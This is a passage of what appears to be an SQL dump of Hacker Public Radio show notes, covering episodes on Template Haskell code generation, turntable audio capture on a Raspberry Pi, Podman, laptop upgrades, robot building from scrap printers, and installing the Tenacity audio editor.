constructors.</p>\r\n<p>Next step, we create <code>IsString</code> instance for turning string literals into our domain type.</p>\r\n<pre><code>makeIsStringInstance :: String -&gt; Q [Dec]\r\nmakeIsStringInstance name = do\r\n    [d|instance IsString $(conT $ mkName name) where\r\n            fromString = $(conE $ mkName $ &quot;Mk&quot; ++ name) . fromString|]\r\n</code></pre>\r\n<p>Here I could get quoting to work. In the example, everything inside of <code>[d| ... |]</code> is quoted literally, ie. I don\'t have to bother with AST, but can just write in plain Haskell what I want the result to be. <code>$</code> that is immediately followed with another symbol is used to unquote. <code>$(conT $ mkName name)</code> executes <code>conT $ mkName name</code> and splices result inside the quote. Because <code>name</code> is a <code>String</code>, we can create a new <code>String</code> by appending <code>\"Mk\"</code> at the start of it. This creates our data constructor <code>MkPlanetName</code>. Notice how we use <code>conT</code> when creating a type constructor and <code>conE</code> for applying data constructor.</p>\r\n<p>For transforming our domain type to and from json we need <code>ToJSON</code> and <code>FromJSON</code> instances. Generating them is very similar than generating <code>IsString</code> instance, but I have included them below for sake of completeness.</p>\r\n<pre><code>makeToJSONInstance :: String -&gt; Q [Dec]\r\nmakeToJSONInstance name = do\r\n    [d|instance ToJSON $(conT $ mkName name) where\r\n            toJSON = toJSON . $(varE $ mkName $ &quot;_un&quot; ++ name)|]\r\n\r\nmakeFromJSONInstanceForText :: String -&gt; Q [Dec]\r\nmakeFromJSONInstanceForText name = do\r\n    [d|instance FromJSON $(conT $ mkName name) where\r\n            parseJSON =\r\n                withText name\r\n                    (return . $(conE $ mkName $ &quot;Mk&quot; ++ name))|]\r\n</code></pre>\r\n<p>Next we\'ll take serializing to and from database. Since Persistent takes care of the details, it\'s enough that we have two instances that interface with Persistent. First one of them is <code>PersistField</code> as show below:</p>\r\n<pre><code>makePersistFieldInstanceForText :: String -&gt; Q [Dec]\r\nmakePersistFieldInstanceForText name = do\r\n    let constName = mkName $ &quot;Mk&quot; ++ name\r\n        constPatt = conP constName [varP $ mkName &quot;s&quot;]\r\n        pTextPatt = conP (mkName &quot;PersistText&quot;) [varP $ mkName &quot;s&quot;]\r\n    [d|instance PersistField $(conT $ mkName name) where\r\n            toPersistValue $constPatt =\r\n                PersistText s\r\n\r\n            fromPersistValue $pTextPatt =\r\n                Right $ $(conE constName) s\r\n\r\n            fromPersistValue _ =\r\n                Left &quot;Failed to deserialize&quot;|]\r\n</code></pre>\r\n<p>This has more code into it as the type class requires us to implement three functions. Imagine how tedious this would be to write out as plain AST. But thanks to quoting, we can write most of the code as it were regular Haskell and just splice in the parts that vary.</p>\r\n<p>First notable part in it is <code>constPatt = conP constName [varP $ mkName \"s\"]</code>, which creates a pattern used in pattern matching. When <code>toPersistValue</code> is called with <code>MkPlanetName s</code> as parameter, our pattern matches and we have access to <code>s</code>. When then call data constructor <code>PersistText s</code> and let Persistent to save this newly created value into database.</p>\r\n<p>Second pattern in the code is <code>conP (mkName \"PersistText\") [varP $ mkName \"s\"]</code> and we use it in <code>fromPersistValue</code> function. So when that function is called with <code>PersistText s</code>, our pattern matches and we have access to <code>s</code>. Which we then use to call <code>MkPlanetName s</code> to construct our domain type. If <code>fromPersistValue</code> would be called with something else, say numeric value from database, <code>fromPersistValue _</code> pattern matches and we\'ll report an error. This normally shouldn\'t happen, but it\'s good practice to always cover all patterns, otherwise we get a nasty runtime exception and whole program grinds to halt.</p>\r\n<p>Last piece in our long puzzle is <code>PersistFieldSql</code>, which tells Persistent the type of the backing field in database.</p>\r\n<pre><code>makePersistFieldSqlInstance :: String -&gt; Name -&gt; Q [Dec]\r\nmakePersistFieldSqlInstance name fType = do\r\n    let typeName = mkName name\r\n    let backingType = selectBackingSqlType fType\r\n    [d|instance PersistFieldSql $(conT typeName) where\r\n            sqlType _ = $backingType|]\r\n\r\nselectBackingSqlType :: Name -&gt; ExpQ\r\nselectBackingSqlType fType\r\n    | fType == &#39;&#39;Text = conE $ mkName &quot;SqlString&quot;\r\n    | fType == &#39;&#39;Int  = conE $ mkName &quot;SqlInt64&quot;\r\n    | otherwise = do Language.Haskell.TH.reportError &quot;Unsupported type&quot;\r\n                     return $ ConE $ mkName &quot;SqlString&quot;\r\n</code></pre>\r\n<p>This is probably starting to look familiar to you by now. We create instance of <code>PersistFieldSql</code> for our domain type. For <code>Text</code> we want to save data as <code>SqlString</code> and for <code>Int</code> we use <code>SqlInt64</code>. The actual, concrete and definite, column type is actually selected by Persistent based on this information. Persistent supports different kinds of databases, so it\'ll take care of mapping this information for the actual database product we\'re using.</p>\r\n<h2 id=\"in-closing\">In closing</h2>\r\n<p>Using template Haskell can cut down amount of boiler plate code. It also lets you create new abstractions that might not be possible with the tools offered by regular Haskell. All this is nice until things don\'t work as planned and you have to figure out why. Debugging complicated template Haskell, especially if written by somebody else, can be tedious.</p>\r\n<p>As usual, if you have any questions, comments or feedback, feel free to reach out for me via email or in fediverse where I\'m <code>tuturto@tech.lgbt</code>. Or even better, record your own episode telling us where you use template Haskell or why did you choose not to use it at all.</p>\r\n<p>ad astra!</p>\r\n',364,0,0,'CC-BY-SA','haskell, metaprogramming, template haskell',0,0,1),
(3516,'2022-01-24','Rant about RX',1303,'This is a rant mostly about prescriptions and health care','<p>It\'s a rant mostly about prescriptions and health care</p>\r\n',36,100,1,'CC-BY-SA','rant',0,0,1),
(3507,'2022-01-11','USB Turntable fix and sound journey',528,'USB Turntable fix and sound journey with arecord, asound and ffmpeg','<p>Partial list of albums</p>\r\n<ul>\r\n<li>Journey - Frontiers</li>\r\n<li>Journey - Evolution</li>\r\n<li>Journey - Greatest Hits</li>\r\n<li>Journey - Departure</li>\r\n<li>Chicago - 2 albums - unknown titles</li>\r\n<li>John Denver - Rocky Mountain Christmas</li>\r\n<li>Inside Star Trek (1976)\r\n<ul>\r\n<li>SIDE I Inside Star Trek Star Trek Theme William Shatner Meets Captain Kirk The Origin of Spock Sarek\'s Son Spock The Questor Affair</li>\r\n<li>SIDE II The Enterprise Runs Aground McCoy\'s Rx for Life The Star Trek Philosophy Asimov\'s World of Science Fiction A Letter From a Network Censor The Star Trek Dream Ballad I/Ballad II)*</li>\r\n</ul></li>\r\n</ul>\r\n<p><em>Inside Star Trek album: Cover</em><br />\r\n<a href=\"https://hackerpublicradio.org/eps/hpr3507/image_001.png\"><img\r\nsrc=\"https://hackerpublicradio.org/eps/hpr3507/image_001_thumbnail.png\"\r\nalt=\"Inside Star Trek album: Cover\" /></a> <br/><small><small><em>Click the\r\nthumbnail to see the full-sized image</em></small></small> -  -  </p>\r\n<p><em>Inside Star Trek album: Contents</em><br />\r\n<a href=\"https://hackerpublicradio.org/eps/hpr3507/image_002.png\"><img src=\"https://hackerpublicradio.org/eps/hpr3507/image_002_thumbnail.png\" alt=\"Inside Star Trek album: Contents\" /></a> <br/><small><small><em>Click the thumbnail to see the full-sized image</em></small></small> -  - </p>\r\n<p>I found a turntable at the thrift store, and the spindle ran, but the platter did not. The belt had slipped off, and here is the fix.</p>\r\n<ul>\r\n<li><a href=\"https://www.youtube.com/watch?app=desktop&amp;v=rXkOoaIVsvE\" class=\"uri\">https://www.youtube.com/watch?app=desktop&amp;v=rXkOoaIVsvE</a></li>\r\n</ul>\r\n<p><em>How to remove platter</em><br />\r\n<a href=\"https://hackerpublicradio.org/eps/hpr3507/image_003.png\"><img src=\"https://hackerpublicradio.org/eps/hpr3507/image_003_thumbnail.png\" alt=\"How to remove platter\" /></a> <br/><small><small><em>Click the thumbnail to see the full-sized image</em></small></small> -  - </p>\r\n<p><em>Belt placement</em><br />\r\n<a href=\"https://hackerpublicradio.org/eps/hpr3507/image_004.png\"><img src=\"https://hackerpublicradio.org/eps/hpr3507/image_004_thumbnail.png\" alt=\"Belt placement\" /></a> <br/><small><small><em>Click the thumbnail to see the full-sized image</em></small></small> -  - </p>\r\n<h2 id=\"routing-audio-from-a-usb-turntable-to-hdmi-using-a-raspberry-pi\">Routing Audio from a USB Turntable to HDMI using a Raspberry Pi</h2>\r\n<ul>\r\n<li><a href=\"https://www.rickmakes.com/routing-audVmmsio-from-a-usb-turntable-to-hdmi-using-a-raspberry-pi\" class=\"uri\">https://www.rickmakes.com/routing-audVmmsio-from-a-usb-turntable-to-hdmi-using-a-raspberry-pi</a></li>\r\n</ul>\r\n<p>Send input to output</p>\r\n<pre><code>alsaloop -t 500000 -C hw:CARD=CODEC,DEV=0 -P default:CARD=b1</code></pre>\r\n<h2 id=\"alsaloop-man-page\">alsaloop man page</h2>\r\n<ul>\r\n<li><p><a href=\"https://linux.die.net/man/1/alsaloop\" class=\"uri\">https://linux.die.net/man/1/alsaloop</a></p>\r\n<p>-t <usec> | --tlatency=<usec> Requested latency in usec (1/1000000sec).</p></li>\r\n</ul>\r\n<p>Parameter b1 is found by</p>\r\n<pre><code>pi@retropie:~ $ aplay -l\r\n**** List of PLAYBACK Hardware Devices ****\r\ncard 0: b1 [bcm2835 HDMI 1], device 0: bcm2835 HDMI 1 [bcm2835 HDMI 1]</code></pre>\r\n<h2 id=\"raspberry-pi-as-a-usb-audio-capture-device\">Raspberry Pi as a USB audio capture device</h2>\r\n<ul>\r\n<li><p><a href=\"https://scruss.com/blog/2012/11/20/raspberry-pi-as-a-usb-audio-capture-device\" class=\"uri\">https://scruss.com/blog/2012/11/20/raspberry-pi-as-a-usb-audio-capture-device</a></p>\r\n<p>arecord -D \'pulse\' -V stereo -c 2 -f dat -d 900 out.wav</p>\r\n<p>arecord -D \'hw:CARD=CODEC,DEV=0\' -V stereo -c 2 -f dat -d 900 out.wav</p></li>\r\n</ul>\r\n<p>Used <code>hw:CARD=CODEC,DEV=0</code> derived from \'arecord -L\'</p>\r\n<pre><code>hw:CARD=CODEC,DEV=0\r\nUSB Audio CODEC, USB Audio\r\nDirect hardware device without any conversions</code></pre>\r\n<h2 id=\"arecord-man-page\">arecord man page</h2>\r\n<ul>\r\n<li><a href=\"https://linux.die.net/man/1/arecord\" class=\"uri\">https://linux.die.net/man/1/arecord</a></li>\r\n</ul>\r\n<pre><code>   -D, --device=NAME\r\n    Select PCM by name\r\n    -V, --vumeter=TYPE\r\n    Specifies the VU-meter type, either stereo or mono. The stereo VU-meter is available only for 2-channel stereo samples with interleaved format.\r\n    -c, --channels=#\r\n    The number of channels. The default is one channel. Valid values are 1 through 32.\r\n    -f --format=FORMAT\r\n    Sample format\r\n    Recognized sample formats are: S8 U8 S16_LE S16_BE U16_LE U16_BE S24_LE S24_BE U24_LE U24_BE S32_LE S32_BE U32_LE U32_BE FLOAT_LE FLOAT_BE FLOAT64_LE FLOAT64_BE IEC958_SUBFRAME_LE IEC958_SUBFRAME_BE MU_LAW A_LAW IMA_ADPCM MPEG GSM SPECIAL S24_3LE S24_3BE U24_3LE U24_3BE S20_3LE S20_3BE U20_3LE U20_3BE S18_3LE S18_3BE U18_3LE\r\n    Some of these may not be available on selected hardware\r\n    The available format shortcuts are:\r\n\r\n    -f cd (16 bit little endian, 44100, stereo) [-f S16_LE -c2 -r44100]\r\n    -f cdr (16 bit big endian, 44100, stereo) [-f S16_BE -c2 -f44100]\r\n    -f dat (16 bit little endian, 48000, stereo) [-f S16_LE -c2 -r48000]</code></pre>\r\n<h2 id=\"recording-to-flac\">Recording to FLAC</h2>\r\n<ul>\r\n<li><a href=\"https://unix.stackexchange.com/questions/583892/how-can-one-record-mic-audio-straight-to-a-flac-file\" class=\"uri\">https://unix.stackexchange.com/questions/583892/how-can-one-record-mic-audio-straight-to-a-flac-file</a></li>\r\n</ul>\r\n<p>How can one record mic audio straight to a FLAC file?</p>\r\n<pre><code>ffmpeg -f alsa -ar 48000 -ac 1 -i hw:0 testfile.flac</code></pre>\r\n<h3 id=\"took-out-the--ac-1-which-downmixed-the-input-to-mono\">Took out the \"-ac 1\", which downmixed the input to mono</h3>\r\n<p>Change hw:0 to hw:2 based on</p>\r\n<pre><code>pi@retropie:~/vinyl $ arecord -l\r\n**** List of CAPTURE Hardware Devices ****\r\ncard 2: USB20 [AV TO USB2.0], device 0: USB Audio [USB Audio]\r\nSubdevices: 1/1\r\nSubdevice #0: subdevice #0\r\n\r\nffmpeg -f alsa -ar 48000 -i hw:2 testfile_stereo.flac</code></pre>\r\n<h2 id=\"ffmpeg-audio-channel-manipulation\">FFmpeg Audio Channel Manipulation</h2>\r\n<ul>\r\n<li><a href=\"https://trac.ffmpeg.org/wiki/AudioChannelManipulation\" class=\"uri\">https://trac.ffmpeg.org/wiki/AudioChannelManipulation</a></li>\r\n</ul>\r\n',318,0,0,'CC-BY-SA','Vinyl, album, Vinyl album, record album, aplay, arecord, alsaloop, ffmpeg,retro, USB turntable',0,0,1),
(3511,'2022-01-17','Podman like Vagrant',1160,'This is how I use Podman on the desktop','<p>I used to use Vagrant to spin up minimal virtual machines when I needed to test code on a different distro than what I ran. Lately I\'ve switched to <a href=\"https://podman.io\" target=\"_blank\">Podman</a>.</p>\r\n\r\n<p>Install Podman with your distribution\'s package manager.</p>\r\n\r\n<p>Configure it:</p>\r\n\r\n<pre><code>\r\n$ sudo --add-subuids 200000-265536 \\\r\n--add-subgids 200000-265536 \\\r\n$USER\r\n</code></pre>\r\n\r\n<p>Create a directory to share data between your container and your localhost:</p>\r\n\r\n<pre><code>\r\n$ mkdir data\r\n</code></pre>\r\n\r\n<p>Run a container, with your <strong>.&#47;data</strong> directory mapped to <strong>&#47;storage</strong> in the container:</p>\r\n\r\n<pre><code>\r\n$ podman run -it --volume ./data:/storage:Z busybox\r\n</code></pre>\r\n\r\n\r\n',78,8,0,'CC-BY-SA','containers, podman, docker, vagrant',0,0,1),
(3512,'2022-01-18','Auld Acquaintance',659,'flappin gums aboot auld hardware and how I use it.','<p>Toshiba Satellite L455-S5000<br />\r\n<a href=\"https://www.ifixit.com/Device/Toshiba_Satellite_L455-S5975\" class=\"uri\">https://www.ifixit.com/Device/Toshiba_Satellite_L455-S5975</a></p>\r\n<p>The script!</p>\r\n<pre><code>#!/bin/bash\r\n\r\n# target dir is ~/Photos/YYYY-MM-DD_Hm\r\ntargetDir=&quot;/home/$USER/Photos/$(date +&quot;%F_%H%M&quot;)&quot;\r\n\r\n# create the dir\r\nmkdir $targetDir\r\n\r\n# cd to dir\r\ncd $targetDir\r\n\r\n# kill all gphoto stuff\r\npkill -f gphoto2\r\n\r\n# get the files\r\ngphoto2 --get-all-files\r\n\r\n# delete all files on camera recursively\r\ngphoto2 -DR</code></pre>\r\n',243,0,0,'CC-BY-SA','auld hardware, photography',0,0,1),
(3513,'2022-01-19','HB9HNT and PA7KEN on SOTA, Summits on the Air',2595,'Summits on the Air is the combination of mountain climbing and amateur radio','<h2 id=\"links\">Links</h2>\r\n<p>You\'ll find further information under the following links:</p>\r\n<ul>\r\n<li><a href=\"https://de.wikipedia.org/wiki/Summits_on_the_Air\">Summits on the Air on Wikipedia</a></li>\r\n<li><a href=\"https://www.sota.org.uk/\">The main SOTA website</a></li>\r\n<li><a href=\"https://sotawatch.sota.org.uk/en/\">SotaWatch 3</a> where you post spots and alerts</li>\r\n<li><a href=\"https://www.sotadata.org.uk/en/\">SotaData</a> where you post your activation and chaser reports to claim points</li>\r\n<li><a href=\"https://reflector.sota.org.uk/\">SOTA Reflector</a> the SOTA internet forums</li>\r\n<li><a href=\"https://sotl.as\">SOTLAS</a> a map of SOTA summits with activations and other info</li>\r\n</ul>\r\n',288,0,1,'CC-BY-SA','ham, ham radio, hamradio, sota',0,0,1),
(3521,'2022-01-31','Upgrades to Acer Aspire 5 Slim',344,'Upgrades to Aspire 5 Slim and Specs','<h3 id=\"upgrades-to-aspire-5-slim-a515-43-r19l\">Upgrades to Aspire 5 Slim A515-43-R19L</h3>\r\n<p>Replacement for the Acer Aspire 5750</p>\r\n<p>Aspire A515-43 How to Install an Additional Hard Drive<br />\r\n<a href=\"https://www.youtube.com/watch?v=XiadRhJ70Rs\" class=\"uri\">https://www.youtube.com/watch?v=XiadRhJ70Rs</a></p>\r\n<h4 id=\"specs\">Specs</h4>\r\n<pre><code>{\r\n CPU: AMD Ryzen 3 3200U\r\n    GPU: AMD Radeon RX Vega 3\r\n    Display: 15.6&#x201D;, Full HD (1920 x 1080), IPS\r\n    Storage: 128GB SSD, NMVE\r\n    RAM: 4GB DDR4, upgradeable to 32Gb\r\n    Weight: 1.90 kg (4.2 lbs)\r\n Ports and connectivity\r\n    2x USB Type-A 2.0\r\n    1x USB Type-A 3.2 Gen 1 (5 Gbps)\r\n    HDMI\r\n}</code></pre>\r\n<h4 id=\"why\">Why?</h4>\r\n<ul>\r\n<li>The system would randomly kick me out, back to the login screen.</li>\r\n<li>This was due to low RAM (4Gb) and high RAM usage from Firefox</li>\r\n</ul>\r\n<h4 id=\"what\">What?</h4>\r\n<ul>\r\n<li>RAM: 16Gb DDR4</li>\r\n<li>HD: 500Gb spinning drive</li>\r\n</ul>\r\n<h4 id=\"other-uses-for-the-upgrade\">Other uses for the upgrade</h4>\r\n<ul>\r\n<li>Room for Virtual Machines</li>\r\n</ul>\r\n<h4 id=\"future-upgrade\">Future upgrade</h4>\r\n<ul>\r\n<li>SSD</li>\r\n</ul>\r\n<p><em>Screw locations</em><br />\r\n<a href=\"https://hackerpublicradio.org/eps/hpr3521/image_001.png\"><img src=\"https://hackerpublicradio.org/eps/hpr3521/image_001_thumbnail.png\" alt=\"Screw locations\" /></a> <br/><small><small><em>Click the thumbnail to see the full-sized image</em></small></small></p>\r\n<p><em>Inside the laptop</em><br />\r\n<a href=\"https://hackerpublicradio.org/eps/hpr3521/image_002.png\"><img src=\"https://hackerpublicradio.org/eps/hpr3521/image_002_thumbnail.png\" alt=\"Inside the laptop\" /></a> <br/><small><small><em>Click the thumbnail to see the full-sized image</em></small></small></p>\r\n<p><em>Power/Battery plug location</em><br />\r\n<a href=\"https://hackerpublicradio.org/eps/hpr3521/image_003.png\"><img src=\"https://hackerpublicradio.org/eps/hpr3521/image_003_thumbnail.png\" alt=\"Power/Battery plug location\" /></a> <br/><small><small><em>Click the thumbnail to see the full-sized image</em></small></small></p>\r\n<p><em>Legend for inside the laptop</em><br />\r\n<a href=\"https://hackerpublicradio.org/eps/hpr3521/image_004.png\"><img src=\"https://hackerpublicradio.org/eps/hpr3521/image_004_thumbnail.png\" alt=\"Legend for inside the laptop\" /></a> <br/><small><small><em>Click the thumbnail to see the full-sized image</em></small></small></p>\r\n',318,57,0,'CC-BY-SA','laptop, hardware, hardware upgrades, RAM, hard drive',0,0,1),
(3517,'2022-01-25','Hp stream laptop with Lubuntu 20.04',2257,'Laptop update','<p>Just a simple check of an old laptop with update</p>\r\n',129,0,0,'CC-BY-SA','Hp stream,Lubuntu,geko,Linux,pine64',0,0,1),
(3519,'2022-01-27','Rust 101: Episode 2 - Rolling With the Errors',3234,'In this episode, BlacKernel helps you construct a simple dice rolling application in rust.','<p>GitLab Repository: <a href=\"https://gitlab.com/BlacKernel/rust-roller\">https://gitlab.com/BlacKernel/rust-roller</a></p>\r\n<h2 id=\"rust-roller-dice-roller-tutorial-application\">Rust-Roller Dice Roller Tutorial Application</h2>\r\n<p>This is a simple dice rolling application that follows along with my <a href=\"https://hackerpublicradio.org\">Hacker Public Radio</a> course on learning the <a href=\"https://rust-lang.org\">rust programming language</a>.</p>\r\n<p>I will attempt to make the commits follow the episodes pretty closely with one commit after every episode with the episode number in the commit message.</p>\r\n<h3 id=\"usage\">Usage:</h3>\r\n<p><code>rust-roller &lt;number-of-dice&gt; &lt;number-of-sides-per-die&gt;</code></p>\r\n<h3 id=\"output\">Output:</h3>\r\n<p><code>Dice: &lt;value-of-die-1&gt; &lt;value-of-die-2&gt; ...</code></p>\r\n<p><code>Total: &lt;sum-of-all-dice-values&gt;</code></p>\r\n<hr />\r\n<h2 id=\"list-of-episodes\">List of Episodes</h2>\r\n<p><a href=\"https://hackerpublicradio.org/eps.php?id=3426\">Rust 101: Episode 0 - What in Tarnishing?</a></p>\r\n<p><a href=\"https://hackerpublicradio.org/eps.php?id=3453\">Rust 101: Episode 1 - Hello, World!</a></p>\r\n<p><a href=\"https://hackerpublicradio.org/eps.php?id=3519\">Rust 101: Episode 2 - Rolling With the Errors</a></p>\r\n<hr />\r\n<p>Contact Info:</p>\r\n<p><a href=\"https://nixnet.social/BlacKernel\">at blackernel at nixnet dot social</a></p>\r\n<p><a href=\"mailto@izzyleibowitz@pm.me\">izzyleibowitz at pm dot me</a></p>\r\n',396,25,1,'CC-BY-SA','rust, programming, dice, learning',0,0,1),
(3522,'2022-02-01','Set up your Robot Building Lab and build a $0 Robot Platform',1580,'Ep 1 of Robot Warlords of the Apocalypse, build a free robot platform/crash buggy from old printers ','<h2 id=\"be-the-assimilator-not-the-assimilated\"><em>be the assimilator not the assimilated</em></h2>\r\n<h2 id=\"setting-up-your-robot-building-lab-and-building-your-first-platform-crash-buggy.\">Setting up your robot building lab and building your first platform/ crash buggy.</h2>\r\n<h3 id=\"getting-started\">Getting started</h3>\r\n<ol type=\"a\">\r\n<li>stuff to buy:<br />\r\n\r\n<ul>\r\n<li>order Arduino Uno or kit (recommended)<br />\r\nKit is highly recommended because you can work through projects for the various sensors and relays and gain experience using sensors. This makes it easier to integrate sensors into your robot, enabling it to more effectively interact with it\'s environment. Kit should come with a case, booklet, and have links to the code involved.</li>\r\n<li>order extra Arduinos (for when you blow up the first one)</li>\r\n<li>small machine screws of various lengths with nuts and washers</li>\r\n<li>18650 4 cell battery compartment</li>\r\n<li>2 18650 1 cell compartments*</li>\r\n<li>18650 chargers (wavgat) - these plug into a usb device</li>\r\n<li>solder/flux/solder sucker (tree sap)</li>\r\n<li>perfboard</li>\r\n<li>extra dupont wires (male to male)</li>\r\n<li>extra resistors</li>\r\n<li>optional\r\n<ul>\r\n<li>ultrasonic sensors (or hack out of something)</li>\r\n<li>mp3 module</li>\r\n</ul></li>\r\n<li>L298N h-bridge modules</li>\r\n</ul></li>\r\n<li>get tools and acc:\r\n<ul>\r\n<li>solder station</li>\r\n<li>computer with internet (raspberry pi works too) - should have listened...</li>\r\n<li>adruino.cc download and install arduino IDE</li>\r\n<li>various screwdrivers, pliers, straight airplane snips, drill with assorted bits. hacksaw, ruler, soldering station, multimeter,</li>\r\n<li>parts drawers for organizing small parts,</li>\r\n<li>several rubbermaid bins or cardboard boxes for cct boards, ABS pieces, etc.</li>\r\n</ul></li>\r\n<li>Collect and disassemble post apocalyptic scraps:\r\n<ul>\r\n<li><em>safety note</em>: Be careful when disassembling; use pliers rather than your fingers as much as possible. Printers and other products can sometimes be tricky to take apart. There may not be any visible screws to remove. The case cover may just snap into place and sometimes it feels like you are going to break the part before it unsnaps. Be aware that the ABS can snap if you force it past its breaking point, it is strong but when it breaks it can have sharp edges. Be especially careful when taking apart laptop batteries. Try not to short any circuits, and watch out because the metal strips that connect the 18650 cells are very sharp. Use pliers and metal cutters and remember not to create any circuits with your metal tools!</li>\r\n</ul></li>\r\n</ol>\r\n<h3 id=\"ingredients\">Ingredients</h3>\r\n<ul>\r\n<li><p>Printers are a great source of mechanical and chassis parts, including motors. The best are the ones with scanners built-in, which means an extra stepper motor.</p>\r\n<ul>\r\n<li>motors A mid sized printer will usually have two electric motors of the same size along with a few other smaller motors and stepper motors. Have two identical printers and you will have the 4 identical motors needed. It is OK to have 2 smaller and 2 larger motors and put one pair in front and one pair in back.</li>\r\n<li>steel rods, wheels with rubber tires, gears, specialty steel plates, reed switches, rotary encoders, ir switches</li>\r\n<li>ABS parts including a power supply cover that can hold Arduino.</li>\r\n<li>Glass panel can be repurposed as solar panel with cheap Chinese solar cells.</li>\r\n</ul></li>\r\n<li><p>UPS - for relays and opto isolators</p></li>\r\n<li><p>TVs - wire, speakers, optoisolators, lots of transistors and other components in older tvs.</p></li>\r\n<li><p>laptops, power tools, cell phones - lithium ion batteries</p></li>\r\n<li><p>books: libgen.is</p>\r\n<ul>\r\n<li><a href=\"https://designingelectronics.com/\" class=\"uri\">https://designingelectronics.com/</a></li>\r\n</ul></li>\r\n</ul>\r\n<p><em>Example of useful parts</em><br />\r\n<a href=\"https://hackerpublicradio.org/eps/hpr3522/20200715_184540.jpg\"><img src=\"https://hackerpublicradio.org/eps/hpr3522/20200715_184540_thumbnail.jpg\" alt=\"Example of useful parts\" /></a> <br/><small><small><em>Click the thumbnail to see the full-sized image</em></small></small></p>\r\n',401,0,1,'CC-BY-SA','beam,righttorepair,robots,mechatronics,apocalypse',0,0,1),
(3545,'2022-03-04','How I make coffee',302,'Making coffee, and a podcast recommendation','<h4 id=\"coffeemaker\">Coffeemaker</h4>\r\n<ul>\r\n<li>Bunn model: Speedbrew</li>\r\n<li>Heats a reservoir to 200 &#x2109;</li>\r\n<li>Displaces a minimum of 4 cups for a fresh pot</li>\r\n</ul>\r\n<p><em>Bunn Coffeemaker and grinder</em><br />\r\n<a href=\"https://hackerpublicradio.org/eps/hpr3545/image_001.jpg\"><img src=\"https://hackerpublicradio.org/eps/hpr3545/image_001_thumbnail.jpg\" alt=\"Bunn Coffeemaker and grinder\" /></a> <br/><small><small><em>Click the thumbnail to see the full-sized image</em></small></small>  </p>\r\n<p><em>This was too coarse, but still had a good taste</em><br />\r\n<a href=\"https://hackerpublicradio.org/eps/hpr3545/image_002.jpg\"><img src=\"https://hackerpublicradio.org/eps/hpr3545/image_002_thumbnail.jpg\" alt=\"This was too coarse, but still had a good taste\" /></a> <br/><small><small><em>Click the thumbnail to see the full-sized image</em></small></small>  </p>\r\n<h4 id=\"coffee-of-the-day\">Coffee of the day</h4>\r\n<ul>\r\n<li>Door County Coffee and Tea Co.: Jingle Bell Java\r\n<ul>\r\n<li>Located in the U.S., in Sturgeon Bay, Wisconsin</li>\r\n</ul></li>\r\n</ul>\r\n<p><em>Jingle Bell Java</em><br />\r\n<a href=\"https://hackerpublicradio.org/eps/hpr3545/image_003.jpg\"><img src=\"https://hackerpublicradio.org/eps/hpr3545/image_003_thumbnail.jpg\" alt=\"Jingle Bell Java\" /></a> <br/><small><small><em>Click the thumbnail to see the full-sized image</em></small></small>  </p>\r\n<h4 id=\"ham-radio-crash-course\">Ham Radio Crash Course</h4>\r\n<ul>\r\n<li><p>Started by Josh Nass (KI6NAZ) as a YouTube channel,</p></li>\r\n<li><p>Ham Radio Crash Course (HRCC) has evolved into a rapidly growing community of radio enthusiasts that are excited to grow in the hobby, and help others grow as well.</p></li>\r\n<li><p><a href=\"https://www.qrz.com/db/ki6naz\" class=\"uri\">https://www.qrz.com/db/ki6naz</a></p></li>\r\n<li><p>RSS Feed</p>\r\n<ul>\r\n<li><a href=\"https://feed.podbean.com/hamradiocrashcourse/feed.xml\" class=\"uri\">https://feed.podbean.com/hamradiocrashcourse/feed.xml</a></li>\r\n</ul></li>\r\n<li><p>Youtube channel</p>\r\n<ul>\r\n<li><a href=\"https://www.youtube.com/channel/UChAu6Cof9KlfFxSbL9ytosQ\" class=\"uri\">https://www.youtube.com/channel/UChAu6Cof9KlfFxSbL9ytosQ</a></li>\r\n</ul></li>\r\n</ul>\r\n',318,88,0,'CC-BY-SA','coffee, podcast, ham radio',0,0,1),
(3538,'2022-02-23','Installing the Tenacity audio editor',272,'Installing Tenacity, and the reasons behind the fork.','<h4 id=\"audacity-vs.-tenacity\">Audacity vs. Tenacity</h4>\r\n<ul>\r\n<li><a href=\"https://www.engadget.com/audacity-privacy-policy-spyware-accusations-data-collection-210001803.html\" class=\"uri\">https://www.engadget.com/audacity-privacy-policy-spyware-accusations-data-collection-210001803.html</a></li>\r\n<li><a href=\"https://hackaday.com/2021/07/23/new-privacy-policy-gets-audacity-back-on-track\" class=\"uri\">https://hackaday.com/2021/07/23/new-privacy-policy-gets-audacity-back-on-track</a></li>\r\n</ul>\r\n<h4 id=\"tenacity-project-page\">Tenacity project page</h4>\r\n<ul>\r\n<li><a href=\"https://tenacityaudio.org\" class=\"uri\">https://tenacityaudio.org</a></li>\r\n</ul>\r\n<h5 id=\"reason-for-forking-the-audacity-project\">Reason for forking the Audacity project</h5>\r\n<p>Motivation</p>\r\n<p>Our project initially started as a fork of Audacity as a result of multiple controversies and public relation crises, which you can find out more about here:</p>\r\n<ul>\r\n<li><p><a href=\"https://github.com/audacity/audacity/issues/1213\">Privacy policy which may violate the original project\'s GPL license</a></p></li>\r\n<li><p><a href=\"https://github.com/audacity/audacity/discussions/932\">Contributor\'s License Agreement (CLA) which may violate the same GPL license</a></p></li>\r\n<li><p><a href=\"https://github.com/audacity/audacity/pull/835\">Attempts at adding telemetry using Google services for data collection</a></p></li>\r\n</ul>\r\n<p>Nevertheless, the goal of this project is to pick up what the original developers of Audacity the decades-long work by the original creators of Audacity and create an audio editor that is fresh, more modern, convenient and practical to use, with the help and the guidance of our users and our community.</p>\r\n<ul>\r\n<li><a href=\"https://github.com/tenacityteam/tenacity#motivation\" class=\"uri\">https://github.com/tenacityteam/tenacity#motivation</a></li>\r\n</ul>\r\n<h5 id=\"community-section\">Community section</h5>\r\n<ul>\r\n<li><a href=\"https://tenacityaudio.org/#community-buttons\" class=\"uri\">https://tenacityaudio.org/#community-buttons</a></li>\r\n</ul>\r\n<h5 id=\"flatpak-nightly-build\">Flatpak nightly build</h5>\r\n<ul>\r\n<li><a href=\"https://github.com/tenacityteam/tenacity-flatpak-nightly/blob/main/README.md\" class=\"uri\">https://github.com/tenacityteam/tenacity-flatpak-nightly/blob/main/README.md</a></li>\r\n</ul>\r\n<pre><code>flatpak remote-add tenacity oci+https://tenacityteam.github.io/tenacity-flatpak-nightly\r\nflatpak install tenacity org.tenacityaudio.Tenacity</code></pre>\r\n<ul>\r\n<li><h5 id=\"update-flatpak\">Update Flatpak</h5>\r\n<ul>\r\n<li><code>flatpak update tenacity org.tenacityaudio.Tenacity</code></li>\r\n</ul></li>\r\n</ul>\r\n<h4 id=\"build-instructions-for-cmake\">Build instructions for 